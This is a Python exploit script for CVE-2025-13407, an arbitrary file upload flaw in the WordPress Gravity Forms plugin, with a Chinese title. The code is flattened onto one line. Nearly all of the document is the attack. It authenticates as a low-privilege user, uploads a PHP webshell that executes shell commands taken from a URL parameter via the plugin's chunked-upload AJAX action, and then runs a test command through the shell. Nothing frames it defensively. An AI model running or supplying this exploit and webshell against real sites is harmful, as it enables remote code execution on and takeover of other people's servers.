CVE-2025-13407: WordPress Gravity Forms插件任意文件上传漏洞导致RCE

import requests import sys # CVE-2025-13407 PoC - Gravity Forms Arbitrary File Upload to RCE # Target: WordPress site with vulnerable Gravity Forms plugin < 2.9.23.1 TARGET = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" UPLOAD_PATH = "/wp-content/uploads/gravity_forms/" def get_auth_token(): """Login to WordPress and get authentication cookie""" login_url = f"{TARGET}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' in str(response.cookies): return session return None def upload_php_shell(session): """Upload malicious PHP file via Gravity Forms chunked upload""" upload_url = f"{TARGET}/wp-admin/admin-ajax.php" # PHP webshell content php_shell = b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' files = { 'file': ('shell.php', php_shell, 'application/x-php'), 'action': 'gf_chunked_upload', 'form_id': '1' } response = session.post(upload_url, files=files) return response.json() def main(): print("[*] CVE-2025-13407 PoC - Gravity Forms File Upload to RCE") # Step 1: Authenticate print("[*] Authenticating as low-privilege user...") session = get_auth_token() if not session: print("[-] Authentication failed") return print("[+] Authenticated successfully") # Step 2: Upload PHP shell print("[*] Uploading PHP shell...") result = upload_php_shell(session) if 'url' in result: shell_url = result['url'] print(f"[+] Shell uploaded: {shell_url}") # Step 3: Execute RCE print("[*] Testing RCE...") rce_test = session.get(f"{shell_url}?cmd=whoami") if rce_test.status_code == 200: print(f"[+] RCE Successful! Output: {rce_test.text.strip()}") else: print("[-] Upload failed") if __name__ == "__main__": main()